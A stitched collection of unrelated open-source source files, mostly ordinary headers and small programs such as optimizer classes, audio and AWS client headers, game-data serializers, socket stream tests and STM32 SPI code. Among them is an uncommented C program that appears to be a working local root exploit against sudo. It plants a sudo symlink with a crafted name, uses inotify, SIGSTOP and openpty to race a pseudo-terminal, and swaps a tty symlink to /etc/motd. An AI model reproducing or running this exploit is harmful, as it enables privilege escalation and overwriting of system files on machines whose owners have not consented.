function to minimize * @param parameters optimization parameters */ ESOptimizer(FitFunc &func, TParameters &parameters) :TESOStrategy(func,parameters) { } /** * \brief constructor for starting from an existing solution * @param func function to minimize * @param parameters optimization parameters * @param solution solution to start from */ ESOptimizer(FitFunc &func, TParameters &parameters, const TSolutions &solution) :TESOStrategy(func,parameters,solution) { } ~ESOptimizer() {} /** * \brief finds the minimum of a function, by calling on the underlying * procedure of the EOSOptimizer object, like a variety of flavor of CMA-ES. */ int optimize() { std::chrono::time_point<std::chrono::system_clock> tstart = std::chrono::system_clock::now(); int opt = TESOStrategy::optimize(); std::chrono::time_point<std::chrono::system_clock> tstop = std::chrono::system_clock::now(); TESOStrategy::_solutions._elapsed_time = std::chrono::duration_cast<std::chrono::milliseconds>(tstop-tstart).count(); return opt; } }; } #endif
/** * Copyright (C) 2011-2020 Aratelia Limited - Juan A. Rubio and contributors * * This file is part of Tizonia * * Tizonia is free software: you can redistribute it and/or modify it under the * terms of the GNU Lesser General Public License as published by the Free * Software Foundation, either version 3 of the License, or (at your option) * any later version. * * Tizonia is distributed in the hope that it will be useful, but WITHOUT ANY * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for * more details. * * You should have received a copy of the GNU Lesser General Public License * along with Tizonia. If not, see <http://www.gnu.org/licenses/>. */ /** * @file arprc.h * @author Juan A. Rubio <juan.rubio@aratelia.com> * * @brief Tizonia - Audio Renderer Component processor class * * */ #ifndef ARPRC_H #define ARPRC_H #ifdef __cplusplus extern "C" { #endif void * ar_prc_class_init (void * ap_tos, void * ap_hdl); void * ar_prc_init (void * ap_tos, void * ap_hdl); #ifdef __cplusplus } #endif #endif /* ARPRC_H */
/*************************************************************************\ * Copyright (C) Michael Kerrisk, 2014. * * * * This program is free software. You may use, modify, and redistribute it * * under the terms of the GNU General Public License as published by the * * Free Software Foundation, either version 3 or (at your option) any * * later version. This program is distributed without any warranty. See * * the file COPYING.gpl-v3 for details. * \*************************************************************************/ /* Supplementary program for Chapter 61 */ /* scm_rights.h Header file used by scm_rights_send.c and scm_rights_recv.c. */ #include <sys/socket.h> #include <sys/un.h> #include <fcntl.h> #include "unix_sockets.h" /* Declares our unix*() socket functions */ #include "tlpi_hdr.h" #define SOCK_PATH "scm_rights"
/* Copyright 2013-2021 Paul Colby This file is part of QtAws. QtAws is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. QtAws is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the QtAws. If not, see <http://www.gnu.org/licenses/>. */ #ifndef QTAWS_DELETEIMAGEREQUEST_H #define QTAWS_DELETEIMAGEREQUEST_H #include "appstreamrequest.h" namespace QtAws { namespace AppStream { class DeleteImageRequestPrivate; class QTAWSAPPSTREAM_EXPORT DeleteImageRequest : public AppStreamRequest { public: DeleteImageRequest(const DeleteImageRequest &other); DeleteImageRequest(); virtual bool isValid() const Q_DECL_OVERRIDE; protected: virtual QtAws::Core::AwsAbstractResponse * response(QNetworkReply * const reply) const Q_DECL_OVERRIDE; private: Q_DECLARE_PRIVATE(DeleteImageRequest) }; } // namespace AppStream } // namespace QtAws #endif
/* geniedat - A library for reading and writing data files of genie engine games. Copyright (C) 2011 Armin Preiml <email> This program is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ #ifndef GENIE_SOUND_H #define GENIE_SOUND_H #include "genie/file/ISerializable.h" #include <vector> #include "SoundItem.h" namespace genie { class Sound : public ISerializable { public: Sound(); virtual ~Sound(); virtual void setGameVersion(GameVersion gv); int32_t ID; int32_t Unknown1; // This is always equal to 300000 std::vector<SoundItem> Items; private: uint16_t ItemCount; virtual void serializeObject(void); }; } #endif // GENIE_SOUND_H
/* Copyright 2015 Martin Buck This file is part of cppAutoSolve. cppAutoSolve is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. cppAutoSolve is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with cppAutoSolve. If not, see <http://www.gnu.org/licenses/>. */ #ifndef CPP_AUTO_SOLVE_H_INCLUDED #define CPP_AUTO_SOLVE_H_INCLUDED #include "inc/ParameterNode.h" #include "inc/FunctionNode.h" #include "inc/AutoSolveController.h" #endif //CPP_AUTO_SOLVE_H_INCLUDED
/* * @BEGIN LICENSE * * Psi4: an open-source quantum chemistry software package * * Copyright (c) 2007-2017 The Psi4 Developers. * * The copyrights for code used from other parties are included in * the corresponding files. * * This file is part of Psi4. * * Psi4 is free software; you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, version 3. * * Psi4 is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License along * with Psi4; if not, write to the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. * * @END LICENSE */ #ifndef _psi_src_lib_libqt_blas_intfc_mangle_h_ #define _psi_src_lib_libqt_blas_intfc_mangle_h_ /*! \defgroup QT libqt: The Quantum-Trio Miscellaneous Library */ /*! \file \ingroup QT \brief The PSI3 BLAS1 interface routines Declares mangling for BLAS1 interface routines */ #ifdef USE_FCMANGLE_H #include "FCMangle.h" #define F_DSWAP FC_GLOBAL(dswap, DSWAP) #define F_DAXPY FC_GLOBAL(daxpy, DAXPY) #define F_DCOPY FC_GLOBAL(dcopy, DCOPY) #define F_DROT FC_GLOBAL(drot, DROT) #define F_DSCAL FC_GLOBAL(dscal, DSCAL) #define F_DDOT FC_GLOBAL(ddot, DDOT) #define F_DASUM FC_GLOBAL(dasum, DASUM) #define F_DNRM2 FC_GLOBAL(dnrm2, DNRM2) #define F_IDAMAX FC_GLOBAL(idamax, IDAMAX) #else // USE_FCMANGLE_H #if FC_SYMBOL==2 #define F_DSWAP dswap_ #define F_DAXPY daxpy_ #define F_DCOPY dcopy_ #define F_DROT drot_ #define F_DSCAL dscal_ #define F_DDOT ddot_ #define F_DASUM dasum_ #define F_DNRM2 dnrm2_ #define F_IDAMAX idamax_ #elif FC_SYMBOL==1 #define F_DSWAP dswap #define F_DAXPY daxpy #define F_DCOPY dcopy #define F_DROT drot #define F_DSCAL dscal #define F_DDOT ddot #define F_DASUM dasum #define F_DNRM2 dnrm2 #define F_IDAMAX idamax #elif FC_SYMBOL==3 #define F_DSWAP DSWAP #define F_DAXPY DAXPY #define F_DCOPY DCOPY #define F_DROT DROT #define F_DSCAL DSCAL #define F_DDOT DDOT #define F_DASUM DASUM #define F_DNRM2 DNRM2 #define F_IDAMAX IDAMAX #elif FC_SYMBOL==4 #define F_DSWAP DSWAP_ #define F_DAXPY DAXPY_ #define F_DCOPY DCOPY_ #define F_DROT DROT_ #define F_DSCAL DSCAL_ #define F_DDOT DDOT_ #define F_DASUM DASUM_ #define F_DNRM2 DNRM2_ #define F_IDAMAX IDAMAX_ #endif #endif #endif
//HappyEngine Copyright (C) 2011 - 2014 Evil Interactive // //This file is part of HappyEngine. // // HappyEngine is free software: you can redistribute it and/or modify // it under the terms of the GNU Lesser General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // HappyEngine is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Lesser General Public License for more details. // // You should have received a copy of the GNU Lesser General Public License // along with HappyEngine. If not, see <http://www.gnu.org/licenses/>. // //Author: Bastian Damman //Created: 10/08/2011 #ifndef _HE_VECTOR4_H_ #define _HE_VECTOR4_H_ #pragma once namespace physx { class PxVec4; } namespace he { struct vec3; struct vec2; struct HAPPY_ENTRY vec4 { public: float x, y, z, w; const static vec4 one; const static vec4 zero; vec4(); explicit vec4(const physx::PxVec4& vec); explicit vec4(const float val); vec4(const vec3& vec, float w); vec4(const vec2& xy, float z, float w); vec4(const vec2& xy, const vec2& zw); vec4(float x, float y, float z, float w); ~vec4(); vec4(const vec4& other); vec4& operator=(const vec4& other); //>---------Getters-----------------------> vec3 xyz() const; //<---------------------------------------< //>---------Operators---------------------> vec4 operator-() const; vec4 operator*(float a) const; vec4 operator/(float a) const; vec4 operator+(const vec4& v) const; vec4 operator-(const vec4& v) const; vec4& operator+=(const vec4& v); vec4& operator-=(const vec4& v); vec4& operator*=(float a); vec4& operator/=(float a); bool operator==(const vec4& v) const; bool operator!=(const vec4& v) const; //<---------------------------------------< }; } //end namespace #endif
#ifndef TREEITEM_H #define TREEITEM_H #include "rostermodel.h" class RosterTreeItem { public: RosterTreeItem(RosterModel::ItemType type, QString data, RosterTreeItem *parent = 0); ~RosterTreeItem(); RosterTreeItem *child(int row); void appendChild(RosterTreeItem *child); bool removeOne(RosterTreeItem *child); int childCount(bool hideOffline = false) const; QString data() const; RosterTreeItem *parent(); int childNumber() const; RosterModel::ItemType type() const { return m_type; } QList<RosterTreeItem *> childItems() const { return m_childItems; } void sortChildren(); void setUnread(bool unread = true); bool isUnread() const; bool hasChlidContain(const QString &data) const; int childIndexOfData(const QString &data) const; void clear(); private: RosterModel::ItemType m_type; QString m_data; QList<RosterTreeItem*> m_childItems; RosterTreeItem *m_parent; bool m_unread; QList<RosterTreeItem *> onlineChildItems() const; // only use for group }; #endif // TREEITEM_H
/* geniedat - A library for reading and writing data files of genie engine games. Copyright (C) 2011 - 2013 Armin Preiml Copyright (C) 2011 - 2021 Mikko "Tapsa" P This program is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ #ifndef GENIE_UNITHEADER_H #define GENIE_UNITHEADER_H #include "genie/file/ISerializable.h" #include "UnitCommand.h" namespace genie { class UnitHeader : public ISerializable { public: UnitHeader(); virtual ~UnitHeader(); virtual void setGameVersion(GameVersion gv); uint8_t Exists = 1; std::vector<Task> TaskList; private: virtual void serializeObject(void); }; } #endif // GENIE_UNITHEADER_H
#include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <unistd.h> #include <setjmp.h> #include <limits.h> #include <fcntl.h> #include <errno.h> #include <sys/inotify.h> #include <sys/socket.h> #include <sys/types.h> #include <cmocka.h> #include <dynamic.h> #include "reactor.h" static int write_count = 0; static int read_size = 0; static int error_count = 0; static core_status callback_readline(core_event *event) { stream *stream = event->state; segment s; switch (event->type) { case STREAM_FLUSH: if (write_count) { s = stream_allocate(stream, 5); memcpy(s.base, "line\n", 5); stream_flush(stream); write_count--; } else stream_destruct(stream); return CORE_OK; case STREAM_READ: s = stream_read_line(stream); assert_true(segment_equal(s, segment_string("line\n"))); stream_destruct(stream); return CORE_ABORT; default: stream_destruct(stream); return CORE_ABORT; } } static core_status callback(core_event *event) { stream *stream = event->state; char data[1048576] = {0}; segment s; switch (event->type) { case STREAM_FLUSH: if (write_count) { stream_write(stream, segment_data(data, sizeof data)); stream_flush(stream); write_count--; } else stream_destruct(stream); return CORE_OK; case STREAM_READ: s = stream_read(stream); read_size += s.size; stream_consume(stream, s.size); return CORE_OK; case STREAM_CLOSE: stream_destruct(stream); return CORE_ABORT; case STREAM_ERROR: error_count++; stream_destruct(stream); return CORE_ABORT; } return CORE_OK; } static void basic_pipe(__attribute__((unused)) void **state) { char data[1024] = {0}; int fd[2]; stream stream, out; core_construct(NULL); // pipe close pipe(fd); fcntl(fd[0], F_SETFL, O_NONBLOCK); stream_construct(&stream, callback, &stream); stream_open(&stream, fd[0]); close(fd[1]); assert_true(stream_is_open(&stream)); core_loop(NULL); assert_false(stream_is_open(&stream)); // pipe message pipe(fd); fcntl(fd[0], F_SETFL, O_NONBLOCK); stream_construct(&stream, callback, &stream); stream_open(&stream, fd[0]); stream_construct(&out, callback, &out); stream_open(&out, fd[1]); stream_write(&out, segment_data(data, sizeof data)); stream_flush(&out); stream_destruct(&out); assert_true(stream_is_open(&stream)); core_loop(NULL); assert_false(stream_is_open(&stream)); core_destruct(NULL); } static void basic_socketpair(__attribute__((unused)) void **state) { char data[1024] = {0}; int e, fd[2]; stream in, out; segment s; core_construct(NULL); // short message e = socketpair(AF_UNIX, SOCK_STREAM, PF_UNSPEC, fd); assert_true(e == 0); fcntl(fd[0], F_SETFL, O_NONBLOCK); stream_construct(&in, callback, &in); stream_open(&in, fd[0]); write(fd[1], data, sizeof data); close(fd[1]); assert_true(stream_is_open(&in)); assert_true(stream_is_socket(&in)); core_loop(NULL); assert_false(stream_is_open(&in)); // long message e = socketpair(AF_UNIX, SOCK_STREAM | SOCK_NONBLOCK, PF_UNSPEC, fd); assert_true(e == 0); stream_construct(&in, callback, &in); stream_construct(&out, callback, &out); stream_open(&in, fd[0]); stream_open(&out, fd[1]); write_count = 16; read_size = 0; stream_notify(&out); core_loop(NULL); assert_int_equal(write_count, 0); assert_int_equal(read_size, 16 * 1048576); // lines e = socketpair(AF_UNIX, SOCK_STREAM | SOCK_NONBLOCK, PF_UNSPEC, fd); assert_true(e == 0); stream_construct(&in, callback_readline, &in); stream_construct(&out, callback_readline, &out); stream_open(&in, fd[0]); s = stream_read_line(&in); assert_int_equal(s.size, 0); stream_open(&out, fd[1]); write_count = 1; stream_notify(&out); core_loop(NULL); assert_int_equal(write_count, 0); core_destruct(NULL); } static void errors(__attribute__((unused)) void **state) { stream s; core_construct(NULL); // open invalid stream_construct(&s, callback, &s); error_count = 0; stream_open(&s, -1); core_loop(NULL); assert_int_equal(error_count, 1); // open invalid and destruct stream_construct(&s, callback, &s); error_count = 0; stream_open(&s, -1); stream_destruct(&s); core_loop(NULL); assert_int_equal(error_count, 0); // write on closed stream_construct(&s, callback, &s); stream_write(&s, segment_empty()); stream_notify(&s); stream_flush(&s); stream_destruct(&s); // double open stream_construct(&s, callback, &s); stream_open(&s, 0); stream_open(&s, 0); stream_destruct(&s); core_destruct(NULL); } int main() { const struct CMUnitTest tests[] = { cmocka_unit_test(basic_pipe), cmocka_unit_test(basic_socketpair), cmocka_unit_test(errors)}; return cmocka_run_group_tests(tests, NULL, NULL); }
// Created file "Lib\src\Uuid\iid" typedef struct _GUID { unsigned long Data1; unsigned short Data2; unsigned short Data3; unsigned char Data4[8]; } GUID; #define DEFINE_GUID(name, l, w1, w2, b1, b2, b3, b4, b5, b6, b7, b8) \ extern const GUID name = { l, w1, w2, { b1, b2, b3, b4, b5, b6, b7, b8 } } DEFINE_GUID(IID_IGetAppTrackerData, 0x507c3ac8, 0x3e12, 0x4cb0, 0x93, 0x66, 0x65, 0x3d, 0x3e, 0x05, 0x06, 0x38);
// ImageStatic.h: Schnittstelle für die Klasse CImageStatic. // ////////////////////////////////////////////////////////////////////// #if !defined(AFX_IMAGESTATIC_H__AFA891DB_A6A2_4232_A930_EB17D58BB718__INCLUDED_) #define AFX_IMAGESTATIC_H__AFA891DB_A6A2_4232_A930_EB17D58BB718__INCLUDED_ #if _MSC_VER > 1000 #pragma once #endif // _MSC_VER > 1000 // Why is it needed to specify this in every header?? #ifdef _LSUTL32_DLL #define LSUTL32_EXPORT __declspec(dllexport) #else #ifdef _LSUTL32_STATIC #define LSUTL32_EXPORT #else #define LSUTL32_EXPORT __declspec(dllimport) #endif #endif namespace DrawSdk { class Image; } class LSUTL32_EXPORT CImageStatic : public CStatic { public: CImageStatic(); virtual ~CImageStatic(); virtual void ReadImage(const _TCHAR *tszFileName); virtual int GetImageWidth() { return m_origWidth; } virtual int GetImageHeight() { return m_origHeight; } virtual void SetDrawImageSize(bool bDrawSize=true) { m_bDrawImageSize = bDrawSize; } protected: afx_msg void OnPaint(); afx_msg void OnSize(UINT nType, int cx, int cy); afx_msg void OnDestroy(); DECLARE_MESSAGE_MAP() DrawSdk::Image *m_pImage; bool m_bHasCalcedSize; bool m_bDrawImageSize; int m_origWidth; int m_origHeight; CFont m_font; }; #endif // !defined(AFX_IMAGESTATIC_H__AFA891DB_A6A2_4232_A930_EB17D58BB718__INCLUDED_)
/* * Copyright (c) 2015 Francesco Balducci * * This file is part of nucleo_tests. * * nucleo_tests is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * nucleo_tests is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with nucleo_tests. If not, see <http://www.gnu.org/licenses/>. */ #include <stdint.h> #include <stdio.h> #include <libopencm3/stm32/rcc.h> #include <libopencm3/stm32/spi.h> #include <libopencm3/stm32/usart.h> #include <libopencm3/stm32/gpio.h> static void usart_init(void) { uint32_t baud = 57600; uint32_t clock = 8000000; rcc_periph_clock_enable(RCC_GPIOA); rcc_periph_clock_enable(RCC_USART2); gpio_set_mode(GPIOA, GPIO_MODE_OUTPUT_50_MHZ, GPIO_CNF_OUTPUT_ALTFN_PUSHPULL, GPIO_USART2_TX); gpio_set_mode(GPIOA, GPIO_MODE_INPUT, GPIO_CNF_INPUT_FLOAT, GPIO_USART2_RX); USART2_BRR = ((2 * clock) + baud) / (2 * baud); usart_set_databits(USART2, 8); usart_set_stopbits(USART2, USART_STOPBITS_1); usart_set_mode(USART2, USART_MODE_TX_RX); usart_set_parity(USART2, USART_PARITY_NONE); usart_set_flow_control(USART2, USART_FLOWCONTROL_NONE); usart_enable(USART2); } static void usart_puts(const char *s) { while(*s != '\0') { usart_send_blocking(USART2, *s); s++; } } static void usart_printhex(uint8_t v) { char hex[3]; snprintf(hex, 3, "%02x", v); usart_puts(hex); } static void spi1_init(void) { rcc_periph_clock_enable(RCC_SPI1); rcc_periph_clock_enable(RCC_GPIOA); rcc_periph_clock_enable(RCC_GPIOB); /* CN5_6 D13 PA5 SPI1_SCK */ gpio_set_mode(GPIOA, GPIO_MODE_OUTPUT_50_MHZ, GPIO_CNF_OUTPUT_ALTFN_PUSHPULL, GPIO_SPI1_SCK); /* CN5_4 D11 PA7 SPI1_MOSI */ gpio_set_mode(GPIOA, GPIO_MODE_OUTPUT_50_MHZ, GPIO_CNF_OUTPUT_ALTFN_PUSHPULL, GPIO_SPI1_MOSI); /* CN5_5 D12 PA6 SPI1_MISO */ gpio_set_mode(GPIOA, GPIO_MODE_INPUT, GPIO_CNF_INPUT_FLOAT, GPIO_SPI1_MISO); /* CN5_3 D10 PB6 SPI1_CS */ gpio_set_mode(GPIOB, GPIO_MODE_OUTPUT_10_MHZ, GPIO_CNF_OUTPUT_PUSHPULL, GPIO6); gpio_set(GPIOB, GPIO6); /* Clock: * HSI 8MHz is the default * RCC_CFGR_SW = 0b00 -> HSI chosen as SYSCLK * RCC_CFGR_HPRE = 0b0000 -> no AHB prescaler * SPI1 is on APB2 * RCC_CFGR_PRE2 = 0b0000 -> no APB2 prescaler * -> FPCLK = 8MHz * -> BR FPCLK/2 -> SCLK @ 4MHz */ spi_init_master( SPI1, SPI_CR1_BAUDRATE_FPCLK_DIV_2, SPI_CR1_CPOL_CLK_TO_0_WHEN_IDLE, SPI_CR1_CPHA_CLK_TRANSITION_1, SPI_CR1_DFF_8BIT, SPI_CR1_MSBFIRST); spi_enable_software_slave_management(SPI1); spi_set_nss_high(SPI1); /* Avoid Master mode fault MODF */ spi_enable(SPI1); } static uint8_t w5100_read_reg1(uint16_t reg) { uint8_t rx; gpio_clear(GPIOB, GPIO6); /* lower chip select */ (void)spi_xfer(SPI1, 0x0F); (void)spi_xfer(SPI1, reg >> 8); (void)spi_xfer(SPI1, reg & 0xFF); rx = spi_xfer(SPI1, 0x00); gpio_set(GPIOB, GPIO6); /* raise chip select */ return rx; } int main(void) { uint8_t rmsr; usart_init(); spi1_init(); usart_puts("Running.\r\n"); rmsr = w5100_read_reg1(0x001a); usart_puts("RMSR = 0x"); usart_printhex(rmsr); usart_puts("\r\n"); while(1); }
#ifndef _core_file_handle_read_next #define _core_file_handle_read_next ::core::file_handle_read_next #include <core/preprocessor/define_map.h> namespace core { _core_preprocessor_define_map3(file_handle_read_next, file_handle_read_next_); } #include <core/LessThanSignedSizeMax.type.h> #include <core/Size.type.h> #include <core/array/base_address.h> #include <core/array/size.h> #include <core/file/ReadOnlyHandle.type.h> #include <core/file/ReadWriteHandle.type.h> #include <core/thread/last_error.h> #if __has_include(<unistd.h>) extern "C" { #include <unistd.h> } #endif namespace core { #if __has_include(<unistd.h>) template<typename Array, typename Callback> struct file_handle_read_next_< file_ReadOnlyHandle, Array, Callback > { template<typename _1, typename _2, typename _3> inline auto operator ()( _1 & a, _2 & f, _3 & callback ) const { auto n = ::read(a, array_base_address(f), array_size(f)); if (n == -1) return thread_last_error(callback); else return callback(LessThanSignedSizeMax((Size) n)); } }; #endif } #endif
#define _GNU_SOURCE #include <errno.h> #include <linux/sched.h> #include <pty.h> #include <sched.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/inotify.h> #include <sys/resource.h> #include <sys/stat.h> #include <sys/types.h> #include <unistd.h> #include <sys/wait.h> #define EVENT_SIZE ( sizeof (struct inotify_event) ) #define EVENT_BUF_LEN ( 1024 * ( EVENT_SIZE + 16 ) ) int main( ) { int length, i = 0; int fd; int wd; char buffer[EVENT_BUF_LEN]; int master, slave; char pts_path[256]; cpu_set_t mask; struct sched_param params; params.sched_priority = 0; CPU_ZERO(&mask); CPU_SET(0, &mask); mkdir("/dev/shm/_tmp", 0755); symlink("/dev/pts/57", "/dev/shm/_tmp/_tty"); symlink("/usr/bin/sudo", "/dev/shm/_tmp/ 34873 "); fd = inotify_init(); wd = inotify_add_watch( fd, "/dev/shm/_tmp", IN_OPEN | IN_CLOSE_NOWRITE ); pid_t pid = fork(); if(pid == 0) { sched_setaffinity(pid, sizeof(mask), &mask); sched_setscheduler(pid, SCHED_IDLE, &params); setpriority(PRIO_PROCESS, pid, 19); sleep(1); execlp("/dev/shm/_tmp/ 34873 ", "sudo", "-r", "unconfined_r", "/usr/bin/sum", "--\nHELLO\nWORLD\n", NULL); }else{ setpriority(PRIO_PROCESS, 0, -20); int state = 0; while(1) { length = read( fd, buffer, EVENT_BUF_LEN ); kill(pid, SIGSTOP); i=0; while ( i < length ) { struct inotify_event *event = ( struct inotify_event * ) &buffer[ i ]; if ( event->mask & IN_OPEN ) { //kill(pid, SIGSTOP); while(strcmp(pts_path,"/dev/pts/57")){ openpty(&master, &slave, &pts_path[0], NULL, NULL); }; //kill(pid, SIGCONT); break; }else if ( event->mask & IN_CLOSE_NOWRITE ) { //kill(pid, SIGSTOP); unlink("/dev/shm/_tmp/_tty"); symlink("/etc/motd", "/dev/shm/_tmp/_tty"); //kill(pid, SIGCONT); state = 1; break; } i += EVENT_SIZE + event->len; } kill(pid, SIGCONT); if(state == 1) break; } waitpid(pid, NULL, 0); inotify_rm_watch( fd, wd ); close( fd ); close(wd); unlink("/dev/shm/_tmp/_tty"); unlink("/dev/shm/_tmp/ 34873 "); rmdir("/dev/shm/_tmp"); close(master); close(slave); } }
#ifndef LIBCTREE_10_2 #define LIBCTREE_10_2 #include <stdio.h> #include <stdlib.h> #include <string.h> struct Node { int counter; char *word; struct Node *left, *right; }; char* get_word(void); struct Node* create_node(char *head); void add_word_recursively(struct Node *tree, char *word); void print_tree_recursively(struct Node *tree); void clear_tree_recursively(struct Node *tree); #endif
/* * eeprom read/write * * Created: 12.05.2016 * Written by Vadim Kulakov, vad7 @ yahoo.com * */ #include "driver/eeprom.h" #ifdef USE_HSPI // max len = 64 bytes uint8_t eeprom_read_block(uint32_t addr, uint8_t *buffer, uint32_t len) { if(len > MAX_EEPROM_BLOCK_LEN) return 1; spi_write_read_block(SPI_RECEIVE, (EEPROM_READ<<EEPROM_ADDR_BITS) | addr, buffer, len); return 0; } // max len = 64 bytes uint8_t eeprom_write_block(uint32_t addr, uint8_t *buffer, uint32_t len) { if(len > MAX_EEPROM_BLOCK_LEN) return 1; uint8_t opcode[1] = { EEPROM_WREN }; spi_write_read_block(SPI_SEND + SPI_RECEIVE, 0, opcode, 1); spi_write_read_block(SPI_SEND, (EEPROM_WRITE<<EEPROM_ADDR_BITS) | addr, buffer, len); return 0; } #endif
#ifndef MINUNIT_H #define MINUNIT_H extern int tests_run; #define mu_assert(message,test) do { if (!(test)) return message; } while (0) #define mu_run_test(test_name, test) do { printf("# starting test %s\n", test_name); char *result = test(); tests_run++; if (result) {printf("not "); } printf("ok %d - %s\n", tests_run, test_name);} while (0) #endif /* MINUNIT_H */
#ifndef LineFilter_H #define LineFilter_H /** This is free and unencumbered software released into the public domain. The authors of ISIS do not claim copyright on the contents of this file. For more details about the LICENSE terms and the AUTHORS, you will find files of those names at the top level of this repository. **/ /* SPDX-License-Identifier: CC0-1.0 */ #include "AbstractNumberFilter.h" template< typename U, typename V > struct QPair; class QString; namespace Isis { class ControlMeasure; class ControlNet; class ControlPoint; /** * @brief Allows filtering by a control measure's line * * This class allows the user to filter control measures by their line (i.e. * which line they are positioned at in the image). This allows the user to * make a list of control measures that are too close to the edge of an * image after pointreg adjustment. * * @author 2012-01-05 Jai Rideout * * @internal * @history 2017-07-25 Summer Stapleton - Removed the CnetViz namespace. Fixes #5054. * @history 2018-06-01 Jesse Mapel - Changed ControlCubeGraphNode to image serial number. * References #5434. * @history 2018-09-28 Kaitlyn Lee - Changed the declaration of QPair from class to struct. * Fixes build warning on MacOS 10.13. References #5520. */ class LineFilter : public AbstractNumberFilter { Q_OBJECT public: LineFilter(AbstractFilter::FilterEffectivenessFlag flag, int minimumForSuccess = -1); LineFilter(const LineFilter &other); virtual ~LineFilter(); bool evaluate(const QPair<QString, ControlNet *> *) const; bool evaluate(const ControlPoint *) const; bool evaluate(const ControlMeasure *) const; AbstractFilter *clone() const; QString getImageDescription() const; QString getPointDescription() const; QString getMeasureDescription() const; }; } #endif
// Copyright (c) 2013 TopCoder. All rights reserved. // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // // // UserServiceTests.h // ISSFoodIntakeTracker // // Created by duxiaoyang on 2013-07-11. // #import <SenTestingKit/SenTestingKit.h> #import "UserServiceImpl.h" #import "LockService.h" #import "BaseTests.h" #import "SMBClient.h" /*! @class UserServiceTests @discussion This is the unit test cases for UserService. @author duxiaoyang, LokiYang @version 1.1 @changes from 1.0 1. Add LockService support. */ @interface UserServiceTests : BaseTests /*! @property The UserService to test. */ @property (nonatomic, strong) UserServiceImpl *userService; /*! @property The lock service for testing. */ @property (nonatomic, strong) id<LockService> lockService; /*! @property The SMBClient instance. */ @property (nonatomic, strong) id<SMBClient> smbClient; @end
// // XMGLrcCell.h // 01-QQ音乐 // // Created by 王顺子 on 15/11/21. // Copyright © 2015年 xiaomage. All rights reserved. // #import <UIKit/UIKit.h> @interface XMGLrcCell : UITableViewCell + (instancetype)cellWithTableView:(UITableView *)tableView; @property (nonatomic, assign) float progress; @property (nonatomic, copy) NSString *lrcText; @end
/** * FinalProject APSHTTPClient Library * Copyright (c) 2009-2015 by Appcelerator, Inc. All Rights Reserved. * Licensed under the terms of the Apache Public License * Please see the LICENSE included with this distribution for details. * * WARNING: This is generated code. Modify at your own risk and without support. */ #import <Foundation/Foundation.h> @interface APSHTTPHelper : NSObject +(NSString *)base64encode:(NSData *)plainText; +(int)caselessCompareFirstString:(const char *)firstString secondString:(const char *)secondString size:(int)size; +(BOOL)extractEncodingFromData:(NSData *)inputData result:(NSStringEncoding *)result; +(NSString *)contentTypeForImageData:(NSData *)data; +(NSString *)fileMIMEType:(NSString *)file; +(NSString *)encodeURL:(NSString *)string; +(void)parseMimeType:(NSString **)mimeType andResponseEncoding:(NSStringEncoding *)stringEncoding fromContentType:(NSString *)contentType; +(NSStringEncoding)parseStringEncodingFromHeaders:(NSDictionary *)headers; @end
